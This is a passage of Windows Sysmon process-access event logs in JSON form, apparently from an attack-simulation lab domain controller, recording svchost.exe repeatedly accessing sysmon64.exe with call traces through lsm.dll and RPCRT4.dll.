C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 